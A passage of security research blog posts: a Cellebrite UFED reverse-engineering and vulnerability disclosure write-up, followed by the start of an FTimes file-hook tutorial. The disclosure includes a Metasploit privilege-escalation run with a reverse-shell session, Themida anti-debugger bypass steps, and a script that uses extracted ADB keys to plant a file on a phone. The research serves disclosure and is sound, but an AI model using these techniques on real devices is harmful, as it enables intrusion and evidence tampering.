windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf5 exploit(windows/local/ms15_051_client_copy_image) > set LPORT 8888 LPORT => 8888 msf5 exploit(windows/local/ms15_051_client_copy_image) > set LHOST [REDACTED] LHOST => [REDACTED] msf5 exploit(windows/local/ms15_051_client_copy_image) > run [*] Started reverse TCP handler on [REDACTED]:8888 [*] Launching notepad to host the exploit... [+] Process 3936 launched. [*] Reflectively injecting the exploit DLL into 3936... [*] Injecting exploit into 3936... [*] Exploit injected. Injecting payload into 3936... [*] Payload injected. Executing exploit... [*] Sending stage (180291 bytes) to [REDACTED] [+] Exploit finished, wait for (hopefully privileged) payload execution to complete. [*] Meterpreter session 3 opened ([REDACTED]:8888 -> [REDACTED]:1045) at 2020-01-29 11:48:15 -0800 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > ``` The breakout and privilege-escalation issues were reported to the manufacturer, and ultimately they were disclosed in the [ KL-001-2020-002](/advisories/KL-001-2020-002/) advisory. ## Debugging the UFED Application From here I thought it was a good idea to create a separate administrative account and begin establishing my debugging environment. The application is packed by Themida, and it is configured to automatically detect the use of debuggers. Before I could get very far, I had to figure out a way around the anti-debugger features of Themida. Image Bypassing Themida's anti-debugger protection was accomplished using a XP-compatible version of OllyDbg and the following plugins: - StrongOD - Phant0m - OllyScript - TitanHide StrongOD should be configured with the Anti-Anti-Attach option. Phant0m should be configured with the following options: - Hook Zw* - Protect DRx - Hide PEB TitanHide is a kernel driver and user-land configuration application. The driver should be configured to load at boot time. Now, it is possible to attach a debugger to the application. Below is an image of OllyDbg attached and sitting at a breakpoint of the sha256 function exported by the Common.dll library. You can see the cheap Motorola phone is at a bootloader screen and the phone is powered by a SMD rework station. This phone was used to support all of my reverse engineering efforts. [Image](/blog/2020/06/29/cellebrite-reverse-engineering-forensics/smd.png) It is at this point that a snapshot of the environment should be taken, as insurance, so that there is a way to revert to the original state should anything go wrong. To do that, I disassembled the UFED device, removed the SanDisk, and used the binutils dd utility to create an image of the device. The typical approach of offline disassembly and active process debugging was followed. Initial offline disassembly was unsuccessful due to packing measures taken by Themida. The objdump output shown here should give you an idea of what is going on: ``` $ objdump -x AndroidLib.dll AndroidLib.dll: file format pei-i386 AndroidLib.dll architecture: i386, flags 0x0000012f: HAS_RELOC, EXEC_P, HAS_LINENO, HAS_DEBUG, HAS_LOCALS, D_PAGED start address 0x1041b000 [snip] [snip] The .rsrc Resource Directory section: 000 Type Table: Char: 0, Time: 00000000, Ver: 4/0, Num Names: 0, IDs: 1 010 Entry: ID: 0x000018, Value: 0x80000018 018 Name Table: Char: 0, Time: 00000000, Ver: 4/0, Num Names: 0, IDs: 1 028 Entry: ID: 0x000002, Value: 0x80000030 030 Language Table: Char: 0, Time: 00000000, Ver: 4/0, Num Names: 0, IDs: 1 040 Entry: ID: 0x000409, Value: 0x000048 048 Leaf: Addr: 0x419f18, Size: 0x00015a, Codepage: 1252 Corrupt .rsrc section detected! Sections: Idx Name Size VMA LMA File off Algn 0 0002f200 10001000 10001000 00001000 2**2 CONTENTS, ALLOC, LOAD, CODE, DATA 1 .rsrc 000001b4 10093000 10093000 00030200 2**2 CONTENTS, ALLOC, LOAD, DATA 2 .idata 00000200 10094000 10094000 00030400 2**2 CONTENTS, ALLOC, LOAD, DATA 3 00000200 10095000 10095000 00030600 2**2 CONTENTS, ALLOC, LOAD, CODE, DATA 4 vuqscmsg 0014e200 102cc000 102cc000 00030800 2**2 CONTENTS, ALLOC, LOAD, CODE, DATA 5 uhrvciik 00000200 1041b000 1041b000 0017ea00 2**2 CONTENTS, ALLOC, LOAD, CODE, DATA ``` Since defeating Themida is a battle of its own, I won't be discussing the methodology used to do it here. The tl;dr is that I read what others have done and applied it. Nothing more, nothing less. ## Disassembling The Software The UFED software is made up of several components. - An end user application - Modified fork of libusb-win32 - ADB and Fastboot Clients - Bootloader exploits contained within DLLs - Proprietary bootloaders for supported devices contained within encrypted ZIP files - OS privilege escalation exploits contained within encrypted ZIP files - Extraction applications in IPA, APK, BAR, and COD files - Post exploitation tools designed to bypass authentication or defeat encryption The Android Debug Bridge (ADB) client is packaged as a DLL. Using OllyDbg and supporting script code, I was able to dump the real code from a running UFED process and then load that into the Ghidra disassembler. Why did I decide to start with the ADB client? When I first ordered several UFED devices from eBay, I also ordered a lot containing approximately forty Motorola devices that ranged in age and were all running the Android OS. Each phone that I extracted presented the same MD5 fingerprint. That indicated to me that the UFED was using the same keypair for every ADB connection. Whats more, since I now owned several UFED devices I was able to confirm that the same fingerprint was being displayed when extracting regardless of which UFED I used. That indicated to me that they are using the same keypair for every UFED device. As it turns out, the authentication keys were hardcoded into a DLL used by the end user application. ``` 0x6c598 952 ?PrivateKey1@ADBAuth@@0QBEB Ordinal_952 XREF[2]: Entry Point(*), 100867b4(*) ?PrivateKey1@ADBAuth@@0QBEB 1006c598 07 ?? 07h 1006c599 02 ?? 02h 1006c59a 00 ?? 00h 1006c59b 00 ?? 00h 1006c59c 00 ?? 00h 1006c59d a4 ?? A4h 1006c59e 00 ?? 00h 1006c59f 00 ?? 00h 1006c5a0 52 ?? 52h R 1006c5a1 53 ?? 53h S 1006c5a2 41 ?? 41h A 1006c5a3 32 ?? 32h 2 ... 0x6ca30 953 ?PrivateKey2@ADBAuth@@0QBEB Ordinal_953 XREF[2]: Entry Point(*), 100867b8(*) ?PrivateKey2@ADBAuth@@0QBEB 1006ca30 07 ?? 07h 1006ca31 02 ?? 02h 1006ca32 00 ?? 00h 1006ca33 00 ?? 00h 1006ca34 00 ?? 00h 1006ca35 a4 ?? A4h 1006ca36 00 ?? 00h 1006ca37 00 ?? 00h 1006ca38 52 ?? 52h R 1006ca39 53 ?? 53h S 1006ca3a 41 ?? 41h A 1006ca3b 32 ?? 32h 2 ... 0x6cec8 954 ?PrivateKey3@ADBAuth@@0QBEB Ordinal_954 XREF[2]: Entry Point(*), 100867bc(*) ?PrivateKey3@ADBAuth@@0QBEB 1006cec8 07 ?? 07h 1006cec9 02 ?? 02h 1006ceca 00 ?? 00h 1006cecb 00 ?? 00h 1006cecc 00 ?? 00h 1006cecd a4 ?? A4h 1006cece 00 ?? 00h 1006cecf 00 ?? 00h 1006ced0 52 ?? 52h R 1006ced1 53 ?? 53h S 1006ced2 41 ?? 41h A 1006ced3 32 ?? 32h 2 ... ``` The keys stored inside of AndroidLib.dll are using the MS PRIVATEKEYBLOB format. This means that they can be converted into the standard Privacy Enhanced Mail (PEM) format using standard OpenSSL utilities. ``` $ ls -la total 36 drwxr-xr-x 1 redacted redacted 346 Oct 19 07:04 . drwxr-xr-x 1 redacted redacted 2842 Oct 13 09:32 .. -rw------- 1 redacted redacted 1671 Sep 10 06:56 cellebrite_adb_key1 -rw-r--r-- 1 redacted redacted 717 Sep 10 06:56 cellebrite_adb_key1.pub -rw------- 1 redacted redacted 1679 Sep 10 06:55 cellebrite_adb_key2 -rw-r--r-- 1 redacted redacted 717 Sep 10 06:56 cellebrite_adb_key2.pub -r--r--r-- 1 redacted redacted 1736 Oct 13 09:26 cellebrite_adb_key3 -r--r--r-- 1 redacted redacted 717 Oct 13 09:26 cellebrite_adb_key3.pub -rw------- 1 redacted redacted 1679 Oct 18 15:44 cellebrite_adb_key4 -rw-r--r-- 1 redacted redacted 451 Oct 18 15:46 cellebrite_adb_key4.pub ``` A good eye will have caught that I only referenced three private keys in the DLL and the directory listing output above shows four. There is a fourth key hidden inside of a encrypted ZIP file. I will discuss that file format and how to break the associated encryption later in this post, but first, let's look at a snippet of output produced by a custom application I wrote to decrypt EPR files. ``` $ ./decrypt-epr --file input/EPRs/731/Android.zip.epr [+] Decrypted file available at output/EPRs/731/Android.zip.epr.zip [+] done. $ unzip Android.zip.epr.zip Archive: Android.zip.epr.zip inflating: c2a_disable_selinux_32.ko inflating: c2a_disable_selinux_64.ko inflating: com.mr.meeseeks.apk inflating: daemonize inflating: dirtycow inflating: dirtycow_32 ... ... ``` Now, about the hardcoded RSA private keys in the AndroidLib.dll file. These keys are available for use by the application during authentication to the ADB daemon running on a target mobile device. They are leveraged during any extraction method that requires the use of ADB. **Further, any time an extraction method requiring ADB is used, the UFED device instructs the user to permanently accept the associated RSA key.** I would like to pause for moment and say something about hardcoded keys. Hardcoded software keys of any type are ultimately recoverable. You can add any number of protective layers you want; you can attempt to encrypt or obfuscate the key; you can use every trick in the book. Unfortunately, these efforts generally fall far short of their objective. If the key must be accessible without human intervention, it is likely to be recoverable as well. When hardcoded keys are used for authentication, as is the case here, it poses another problem: a loss of reliable attribution. The keys used in any authentication context are supposed to be unique and exclusively controlled by their legitimate owner, which in this case is the UFED device. **Failing to protect authentication keys implies that anyone with the right mix of knowledge, access, and tools can take over your identity and appear legitimate.** Let's take a look at an example of how this can go wrong. First, let's examine the public keys. ``` QAAAANXZ0PeDaBpYMM/Wi4GQo/hZ9WooUYwFbp55Ce/9oWbse0sG3R9LaAv+78MZF0KuWty8h... unknown@unknown QAAAAAE5nlT/OO1UtGpoZFGmwA0jP+1pO7QNDzaRlEIyObUz7ziSZnWhvpKYyxAGDNKMNcFx2... unknown@unknown QAAAAEdvwzGJdQJiFMyhWbG/B83GfOJpouYZbWoHvpklhxa0vZGiqSBO2NFglV7YQiae8uPfK... unknown@unknown AAAAB3NzaC1yc2EAAAADAQABAAABAQC62sBv3sK02eb5ZJnNGT5JqU/aWEYdvvlVMJ8xjcRac... unknown@unknown ``` The script below will run some code to confirm the validity of the private key for a given public key. Then, it will copy the keypair into the ~/.android/adbkey and ~/.android/adbkey.pub files. From here, the extracted keys are then used to authenticate to a target device and place a sample "illegal" file onto it. ``` #!/bin/sh CONTENT="korelogic" FINGERPRINT=`awk '{print $1}' < android/cellebrite_adb_key1.pub | openssl base64 -A -d -a | openssl md5 | cut -d " " -f2-` echo "[+] Key Fingerprint:" $FINGERPRINT echo "[+] Creating a sample.out file with the content:" $CONTENT echo $CONTENT > sample.out echo "[+] Creating a SHA1 hash with: openssl dgst -sha1 -sign android/cellebrite_adb_key1 -out sample.out.sha1 sample.out" openssl dgst -sha1 -sign android/cellebrite_adb_key1 -out sample.out.sha1 sample.out echo "[+] Validating the integrity using: openssl dgst -sha1 -verify android/cellebrite_adb_key1.pub.pem -signature sample.out.sha1 sample.out" openssl dgst -sha1 -verify android/cellebrite_adb_key1.pub.pem -signature sample.out.sha1 sample.out echo "[+] Cleaning up the sample and SHA1 hash" rm -rf sample.out sample.out.sha1 echo "[+] Copying private key to ~/.android/adbkey" cp ~/.android/adbkey ~/.android/adbkey.orig cp ~/.android/adbkey.pub ~/.android/adbkey.pub.orig rm -rf ~/.android/adbkey ~/.android/adbkey.pub echo "[+] Updating the key header" sed -e 's/RSA //g' android/cellebrite_adb_key1 > ~/.android/adbkey cp android/cellebrite_adb_key1.pub ~/.android/adbkey.pub echo "[+] Done. Creating example 'illegal' file on target device" echo "illegal content" > illegal_file adb push illegal_file /data/local/tmp/illegal_file rm -rf illegal_file echo "[+] Removing the private key from ~/.android/adbkey" rm -rf ~/.android/adbkey ~/.android/adbkey.pub mv ~/.android/adbkey.orig ~/.android/adbkey mv ~/.android/adbkey.pub.orig ~/.android/adbkey.pub echo "[+] Done" ``` This simple script produces the following output: ``` [+] Key Fingerprint: **af0fe499ad5b77e00c660f37de1dce3a** [+] Creating a sample.out file with the content: korelogic [+] Creating a SHA1 hash with: openssl dgst -sha1 -sign android/cellebrite_adb_key1 -out sample.out.sha1 sample.out [+] Validating the integrity using: openssl dgst -sha1 -verify android/cellebrite_adb_key1.pub.pem -signature sample.out.sha1 sample.out Verified OK [+] Cleaning up the sample and SHA1 hash [+] Copying private key to ~/.android/adbkey [+] Updating the key header [+] Done. Creating example 'illegal' file on target device illegal: 1 file pushed. 0.0 MB/s (16 bytes in 0.049s) [+] Removing the private key from ~/.android/adbkey [+] Done ``` The point I want to make here is that as a result of product design, I am able to impersonate the identity of every UFED device such that any connection I make to a target device appears as if it is done from the UFED device, and not my own machine. Since there is no guarantee that system logs will distinguish between say, connecting to upload a file or to run a forensic analysis on the target device, there is no real method to track what purpose any connection was for. This has the potential to provide plausible deniability for when malicious changes are made. Now this is just an example and a real world exploitation of this would require root privilege and stomping on file metadata. I want to stress, though, that this is absolutely possible. Although it is true that the UFED device provides no way for the user to directly interact with a target device manually, all of the tools and exploits needed to do so are encrypted (and recoverable) alongside the DLL we've been discussing. Further, the reality is this: if you can get this far on your own, there is a good chance you'll get access to those things as well. At least, I did. After internal discussion and at the later received request of Cellebrite, we have chosen not to publish the private keys which correspond to the public keys shown above. These key have been retired and [ a fix for this issue](/advisories/KL-001-2020-001/) has been distributed. ## ADB Key Verification Somewhere around here we found a weakness in ADB's key verification handshake process, quite by accident. We wanted to be able to test any given phone to see if the UFED's static public key had been accepted and if it had ever been "acquired" by the UFED software. This might occur if, for instance, a bad actor armed with a UFED device used it to harvest a journalist's phone, or misused it to root a dissident's phone and plant evidence while following the UFED's normal operating procedure of accepting the RSA key when prompted on the phone. If you hold the private key, you can indeed easily check if the phone's ADB listener trusts that key - just try to authenticate with it and see if you can establish a connection without being prompted. But along the way, we found something we did not expect. After the client has tried to perform a challenge-response with every private key it possesses to see if the phone will accept any of them, it can propose a new public key. The user will see a popup with the new public key's fingerprint; if approved, the connection is established and that key is remembered as having been approved. Did you miss it? _...the connection is established..._ without actually requiring that the client prove that it holds the private key by signing a message with it. The ADB server also does not reject a new-key proposal for a key that it already holds - meaning that a client that already failed to prove that it has the private key for 'de:ad:c0:de', to a phone that already trusts 'de:ad:c0:de', can nevertheless ask for key 'de:ad:c0:de' to be allowed and added. In some ways, this is no big deal: the user has physically tapped 'OK' on their phone, so the client isn't being allowed in with no checking whatsoever. However, this means that a client can claim to possess any given key without having to prove it. If users are conditioned to accept a particular key fingerprint, they would be expected to approve the connection request. Consider, for instance, a hypothetical Mobile Device Management (MDM) solution within an enterprise where users are told to accept a "known" key (with fingerprint 'de:ad:c0:de'). An attacker pretending to hold this key would be trusted by users who blindly follow those instructions without the phone ever verifying that the attacker really holds corresponding private key. A corollary to this might be an SSH client which, upon connecting to an unknown SSH server and prompting the user to accept that server's SSH host key fingerprint, did not actually then challenge the server to complete a challenge using the corresponding private key. This would be pretty easily understood as a flaw. The solution seems pretty simple conceptually: ADB should not accept a new public key without requiring the client to pass a new challenge-response. When we reported this to the Android Security Team, they closed it as "Won't Fix", although the [issue](https://issuetracker.google.com/issues/148400867) is still non-public in their bug-tracker. ## UFED Features Let's take a look at the available types of extraction so we can better understand how and where the UFED uses different key material. Using this method of extraction, the UFED device will authenticate to the ADB daemon on the target device and subsequently install an Android Application Package (APK), which is designed to facilitate evidence collection. One of the available evidence collection applications is Android2.1v1.7.3.apk. This application has a self-signed certificate with the following metadata: ``` Valid from: Mon Jun 27 15:39:03 PDT 2011 Valid until: Fri Jun 20 15:39:03 PDT 2036 SHA-256 Fingerprint: 93 02 8A D4 12 CF C3 A7 92 61 45 96 D5 DB 15 54 70 84 0B B5 61 4E B4 16 D9 E3 26 5B 95 9F C9 5C ``` Another application, CelleWise_Covert_v4.0.0.18.apk, is self-signed as well. It has the following metadata: ``` Valid from: Mon Jul 15 05:52:42 PDT 2013 Valid until: Fri Jul 09 05:52:42 PDT 2038 SHA-256 Fingerprint: 49 B7 36 8B D2 8C 93 6A C8 24 BF 60 40 10 1F 57 F2 C4 2C E4 E9 E1 68 77 DA B2 F4 49 22 68 32 13 ``` An encrypted ZIP file (Android.zip.epr) containing local privilege escalation exploits is relied on to obtain root privilege prior to performing the extraction. The directory /data/local/tmp is used as a temporary location to write exploits to disk. If root cannot be obtained, the extraction is not performed, and the user will receive a message in the UFED device UI indicating the security patch level of the target device is too recent: Image **Disable User Lock** This option will allow the user of the UFED device to either temporarily disable the user lock, or remove it entirely. Publicly, Cellebrite refers to this functionality as LockPick. Internally however, it is called Alohomora, a reference to a magical spell, which is used to open physical locks from the J.K. Rowling series Harry Potter. **File System Extraction** Extractions performed via file system also leverage the ADB daemon on the target mobile device. This extraction method can rely on a set of Cellebrite binaries called nandreadPie and/or nandreadStatic. These binaries copy the entire content of the target disk. This extraction type also offers other methods that parse Android Backups collected from target devices or can (where possible) downgrade existing applications on the target mobile device so as to allow collection of otherwise unavailable data. A lock bypassing technique is also available from this type of extraction that is able to collect some of the file system available. **Physical Extraction** Physical extractions can either be triggered via ADB or boot loader exploits. Although the boot loaders used by the UFED device are proprietary, the methods used to initialize and run them are, as far as I can tell, based on publicly available research. For example, exploitation techniques for Samsung's SBOOT and eMMC are heavily relied upon. Further details can be found in the links at the end of this post. **Password Brute-Forcing** You may have asked yourself, what is knockoutNG? This post-exploitation toolkit can defeat authentication on supported devices by leveraging libkeymaster to execute a dictionary-based brute force, which is not subject to attempt restrictions. The target device is exploited so as to allow the UFED to take control of the bootloader and boot into a malicious operating system where the brute forcing tools are then used. As a side note, the while loop used in this process has a call to fgets which limits the size of every attempted password to 32 bytes (i.e., 0x20): ``` ... if ((dictName != (char *)0x0) && (dictObj = fopen(dictName,"r"), dictObj != (FILE *)0x0)) { ... while (i = fgets(pwBuffer,0x20,dictObj), i != (char *)0x0) { ... pwLen = (ulonglong)strlen(pwBuffer); (*packing_init)(pwCheckBuf,wsmBufferForInData,0xa000,0); (*encrypt_key_packing)(&local_80,&local_70,&local_a0,&local_90,&local_b0,&local_c0,&local_d0,&local_24c,pwCheckBuf); (*KM_TZRunCommand)(0x100,0xa000,0,0,&pw_valid); if (pw_valid == 0) { printf("---[ The password is %s]---\n",pwBuffer); break; } ... } ... } ... ``` ## Extracting Encrypted Payloads Do you remember that fourth RSA key I mentioned earlier? Lets take a few minutes to focus on that key specifically. The key can be found inside of the knockoutNG.epr file. The EPR file format is more-or-less an AES-256-CBC encrypted ZIP archive. In the earlier versions of the file format, the key to decrypt the ZIP archives was hardcoded into the decryption code. That key, known publicly already, can be found below: ``` sha256("Cellebrite EPR file version 1 AES key").hexdigest() ``` Sometime after UFED v5.4, a new version of the EPR file format was introduced. This newer format relies on a key enveloping technique where only the initial key material is hardcoded into the decryption code. A small header is decrypted with the initial key. This set of decrypted bytes contains a 16-byte Intialization Vector (IV) and two 4-byte values that when XOR'd together will produce the final 4-byte (or DWORD) value of a SHA256 digest. Separately, an array of SHA256 digest values is generated for 254 (yes, 254) bytes, which are split up and iterated over using 64 bytes at a time. The calculated DWORD is compared against the final DWORD of each SHA256, and when a match is found, the bytes used to calculate the corresponding SHA256 digest are used as the next key. A total of eight intermediate keys exist. The second AES key and IV are then used to decrypt a second set of encrypted bytes, which were decrypted during the first operation. The final AES key and IV are then recovered and can be used to decrypt the remaining bytes in blocks of 0x10000. ``` $ ls -la knockoutNG.epr -rwxr-xr-x 1 level level 7146469 May 28 07:26 knockoutNG.epr $ ./decrypt-epr --verbose --file knockoutNG.epr 2020-06-17 08:07:29,643 [INFO] [+] The EPR file specified exists. 2020-06-17 08:07:29,645 [INFO] [+] The specified EPR file has been read into memory. 2020-06-17 08:07:29,645 [INFO] [+] Using the version 3 decryption process. 2020-06-17 08:07:29,648 [INFO] [-] Decrypter setup with key 1 for version 3 2020-06-17 08:07:29,663 [INFO] [+] Round one of the EPR decryption completed successfully. 2020-06-17 08:07:29,663 [INFO] [-] Calculated that the flag will be: [REDACTED] 2020-06-17 08:07:29,663 [INFO] [+] The SHA256 key flag has been calculated. 2020-06-17 08:07:29,663 [INFO] [-] Found the flag: [REDACTED] 2020-06-17 08:07:29,663 [INFO] [+] The SHA256 key flag has been found. 2020-06-17 08:07:29,663 [INFO] [-] Decrypter setup with key 2 for version 3 2020-06-17 08:07:29,663 [INFO] [+] Round two of the EPR decryption completed successfully. Obtained the final AES key and IV. 2020-06-17 08:07:29,663 [INFO] [-] AES Key: [REDACTED], IV: [REDACTED] 2020-06-17 08:07:29,663 [INFO] [-] Decrypter setup with key 3 for version 3 2020-06-17 08:07:29,719 [INFO] [-] Finished decrypting all blocks. 2020-06-17 08:07:29,720 [INFO] [-] Writing bytes to: knockoutNG.epr.broken 2020-06-17 08:07:29,722 [INFO] [-] Wrote 7146320 bytes to a broken file. 2020-06-17 08:07:29,722 [INFO] [+] Round three of the EPR decryption completed successfully. The encrypted zip archive has been decrypted. 2020-06-17 08:07:29,722 [INFO] [-] Running: zip -FF knockoutNG.epr.broken --out knockoutNG.epr.zip > /dev/null 2>&1 2020-06-17 08:07:29,732 [INFO] [+] done $ unzip knockoutNG.epr.zip Archive: knockoutNG.epr.zip inflating: dist/bz2.pyd inflating: dist/knockout.exe ... inflating: dist/handlers/files/adbd_32 inflating: dist/handlers/files/adbkey inflating: dist/handlers/files/adbkey.pub inflating: dist/handlers/files/adb_proxy ... ``` The extraction of the hardcoded key material was also [disclosed](/advisories/KL-001-2020-003/) to Cellebrite. Our suggested remedy was to either require the use of a hardware root-of-trust for storing the EPR encryption keys, or rely on installation-unique RSA keys where Cellebrite has a copy of the public key for every installation, thus eliminating the usage of one set of keys worldwide. Ultimately, Cellebrite has decided not to pursue either of those options. According to Cellebrite, the initial AES key and IV have been rotated, and the algorithm has been updated in a way which breaks our decrypter. However, I want to point out that as long as Cellebrite relies on a software-only decryption method that has no requirement for human involvement (e.g., unlocking a encryption key with a unique passphrase), they will likely remain vulnerable. ## Closing Thoughts During a call with Cellebrite, we discussed the use of hardcoded ADB key material. They disagreed with the risk case presented and highlighted the fact that chain of custody is used to control evidence. Unfortunately, that position leaves no room for the possibility that the chain of custody, itself, is (or could be) compromised. That being said, Cellebrite did release a patch to address the issue even though they disagreed. To me, that was a sign of good faith, and Cellebrite deserves kudos for taking that course of action. However, as a citizen, I also believe the way that any process is implemented to acquire forensic evidence should be publicly known and freely available for scrutiny. In the United States, the accused have a Sixth Amendment right to confront their accusers; that should extend to information about the way data are gathered for use in criminal investigations. The core issue is that every citizen should have the right to cross-examine the evidence acquired, the origin of the process used to acquire it, the acquisition process itself, how acquired data were processed or analyzed, and how any conclusions were drawn from those efforts. It is my opinion that our community should be advocating for transparency, open source solutions, and legislative policies designed to strike an appropriate balance between human rights and the needs of law enforcement, while also respecting national security. Basically, any government agency not part of the military acting in defense of the nation should be required to disclose vulnerabilities identified or used in criminal investigations using industry-recognized procedures and channels. At the end of the day, these vulnerabilities concern me not because I think they are likely being actively exploited by bad actors, but simply because they ought not to be possible at all. Below are some links to third-party content you may enjoy. - [Cellebrite - Homepage](https://www.cellebrite.com/) - [Themida - Homepage](https://www.oreans.com/themida.php) - [Cellebrite - Overcoming Locked Android Powered Devices](https://www.cellebrite.com/en/blog/overcoming-locked-android-powered-devices/) - [Wired - Cellebrite Says It Can Unlock Any iPhone For Cops](https://www.wired.com/story/cellebrite-ufed-ios-12-iphone-hack-android/) - [Privacy International - Surveillance Company Cellebrite Finds a New Exploit: Spying on Asylum Seekers](https://privacyinternational.org/long-read/2776/surveillance-company-cellebrite-finds-new-exploit-spying-asylum-seekers) - [VICE - Here Is the Technical Report Suggesting Saudi Arabias Prince Hacked Jeff Bezos' Phone](https://www.vice.com/en_us/article/v74v34/saudi-arabia-hacked-jeff-bezos-phone-technical-report) - [GitHub - Release 1 - the supply chain - a backdoor with backdoors](https://github.com/cellebrited/cellebrite) - [Defcon - You're Just Complaining Because You're Guilty](https://media.defcon.org/DEF%20CON%2026/DEF%20CON%2026%20presentations/DEFCON-26-Matthews-Adams-Greco-Youre-Just-Complaining-Because-Youre-Guilty.pdf) - [Twitter - Cellebrite Touch User Manual](https://twitter.com/_/status/1135417142726221825) - [Forbes - The Feds' Favorite iPhone Hacking Tool Is Selling On eBay For $100 - And Its Leaking Data](https://www.forbes.com/sites/thomasbrewster/2019/02/27/the-feds-favorite-iphone-hacking-tool-is-selling-on-ebay-for-100and-its-leaking-data/#6b089fb95dd4) - [NYTimes - Imagine Being on Trial. With Exonerating Evidence Trapped on Your Phone.](https://www.nytimes.com/2019/11/22/business/law-enforcement-public-defender-technology-gap.html) - [eBay - Results for Cellebrite UFED](https://www.ebay.com/sch/i.html?&_nkw=cellebrite+ufed&_odkw=cellebrite+ufed) - [BlogSpot - Exploiting Android S-Boot: Getting Arbitrary Code Exec in the Samsung Bootloader](http://hexdetective.blogspot.com/2017/02/exploiting-android-s-boot-getting.html) - [CCC - eMMC hacking, or: how I fixed long-dead Galaxy S3 phones](https://media.ccc.de/v/34c3-8784-emmc_hacking_or_how_i_fixed_long-dead_galaxy_s3_phones) - [WhiteHouse - Vulnerabilities Equities Policy and Process for the United States Government](https://www.whitehouse.gov/sites/whitehouse.gov/files/images/External%20-%20Unclassified%20VEP%20Charter%20FINAL.PDF) - [Berkely Tech Law Journal - Taking a Hard Look at the Vulnerabilities Equities Process and its National Security Implications](https://btlj.org/2019/04/taking-a-hard-look-at-the-vulnerable-equities-process-in-national-security/) - [EFF - The Senate's New Anti-Encryption Bill Is Even Worse Than EARN IT, and That's Saying Somethin](https://www.eff.org/deeplinks/2020/06/senates-new-anti-encryption-bill-even-worse-earn-it-and-thats-saying-something) I would like to extend a personal thank you to (in alphabetic order) the team at Cellebrite and my colleagues at KoreLogic, Derek Brown, Hank Leininger, Josh Hardin, and Klayton Monroe. This research was conducted in accordance with the KoreLogic Employee Ethics Guidelines and was disclosed by the KoreLogic Vulnerability Disclosure Program. --- ## FTimes, KLEL, and File Hooks URL: https://korelogic.com/blog/2019/11/08/ftimes-klel-and-file-hooks/ A practical FTimes guide to using KLEL and file hooks to run external programs or scripts on matching files during dig, map, or mad stages. Published: 2019-11-08 Author: Jay and Klayton Category: Tools & Frameworks Tags: tools, forensics, passwords, iot, web-security This is another blog post in the [FTimes](https://github.com/KoreLogicSecurity/ftimes) series showcasing various aspects and controls that can be utilized within the [FTimes](https://github.com/KoreLogicSecurity/ftimes) framework. This blog post will focus on using file hooks, a feature that offers the ability to run external programs or scripts on matching files during dig, map, or mad stages. Enabling file hooks (via the FileHooks control) makes it possible for ftimes to run external programs or scripts that can perform additional tasks on matching files during dig, map, or mad stages. This blog post gives an overview of adding a FileHook entry to a map configuration and provides a few relevant examples. The final example shows how a file hook can be used to locate SQLite databases and subsequently map their internal structure with the help of a Python script. With FTimes, file hooks are implemented using KoreLogic Expression Language (KLEL) guarded commands. According to KLEL documentation, a guarded command consists of a boolean guard, an eval call, and an optional set of expected return codes. With FTimes, the KLEL eval function supports two default interpreters ('exec' and 'system') and three optional interpreters ('lua', 'perl', and 'python'). Under the hood, the default interpreters are implemented using the well-known execv(3) and system(3) function calls. While extremely useful (virtually any external program or script can be invoked), it can be expensive in terms of process execution time. In the most extreme case (i.e., a guarded command whose expression always evaluates to true), a new process would be launched for every file encountered. That's a lot of overhead, especially if you are mapping millions of files in a single pass. Fortunately, the three embedded interpreters eliminate that problem. By embedding an interpreter such as Lua, Perl, or Python, we gain the ability to run scripts written in those languages from within the running ftimes process, and that can result in huge performance gains. This blog post assumes that you've read the previous blog post about compiling FTimes with [Python](/blog/2019/04/25/building-ftimes-with-python3). It also assumes that you have met the OS requirements from that post (i.e., that you are using Kali Linux). First, we begin by compiling libklel. As of the writing of this blog post, the current version of KLEL is 1.2.0, which is available [here](https://github.com/KoreLogicSecurity/libklel). ``` tar -zxf libklel-1.2.0.tar.gz cd libklel-1.2.0 mkdir b cd b ../configure && make && sudo make install ``` This will install the header files and libraries with a prefix of '/usr/local'. N.B. If you want to change where this software is installed, use the '--prefix' option when running the configure command above. Next, we compile FTimes with file hooks and embedded Python support. The latest FTimes tar ball is available [here](https://github.com/KoreLogicSecurity/ftimes). Additional details pertaining to embedded Python support are available [here](/blog/2019/04/25/building-ftimes-with-python3). ``` tar -xzf ftimes-3.13.0.tgz cd ftimes-3.13.0 mkdir b cd b ../configure --enable-file-hooks --with-python=`which python3` --with-all-tools --with-klel=/usr/local make && sudo make install ``` Once the build completes and the software is installed, run 'ftimes --version'; it should produce output similar to the following: ``` ftimes 3.13.0 64-bit klel(1.2.0),pcre(8.39),python(3.7.5),filters(pcre),hooks,xmagic ``` Your Python and PCRE versions could be different depending on the installed versions of those libraries. Now the fun part: utilizing the new KLEL features and taking advantage of file hooks. ### Example #1 This example shows the usage of a basic file hook. First, we create a map configuration (map.cfg) in the current working directory that contains a simple file hook entry (i.e., FileHook). ``` BaseName=- OutDir=. FieldMask=none FileHook=echo : if (true) then eval("exec", "/bin/echo", "%{f_name}") pass [0] ``` The above file hook entry breaks down as follows: ``` FileHook=echo ``` This is defining a FileHook with a designator (or tag) of 'echo'. This tag can be any string that matches the following regular expression: ``` [A-Za-z][0-9A-Za-z_]+ ``` ``` if (true) ``` This is the boolean guard. As you can see, it always evaluates to true. This implies that the guarded command will be invoked for every file ftimes encounters. ``` eval("exec", "/bin/echo", "%{f_name}") ``` This is the guarded command, an eval statement that executes '/bin/echo' (via 'exec') passing 'f_name' as its only parameter. In this case, the value of 'f_name' (i.e., '%{f_name}') is the current file's full path. ``` pass [0] ``` This is the set of expected return codes. If the command being executed does not return one of the expected return codes, its execution is deemed a failure, and ftimes will report an error. In this particular case, there is only one expected return code: zero. FTimes exposes a number file attributes to KLEL. This means, for example, you could create hooks that match on a file's size (f_size), cryptographic hash (f_md5, f_sha1, f_sha256), or even some combination of any available file attributes. An important note to remember is that anything printed to STDOUT by an executing hook can pollute the ftimes output stream unless care is taken to format the data in a way that is consistent with normal ftimes output. Consequently, this may become an issue if other FTimes tools are subsequently used to process the output. ### Example #2 This example shows a file hook that fires based on file type as determined by [XMagic](http://ftimes.sourceforge.net/FTimes/XMagic.shtml). If the 'magic' attribute (designated as 'f_magic' in the guarded command) matches our defined file type (i.e., 'database/sqlite'), then it will again echo the current file's full path. ``` BaseName=- OutDir=. FieldMask=none+magic FileHook=echo : if (f_magic =~ ("database/sqlite")) then eval("exec", "/bin/echo", "%{f_name}") pass [0] ``` Thus far, the guarded commands haven't 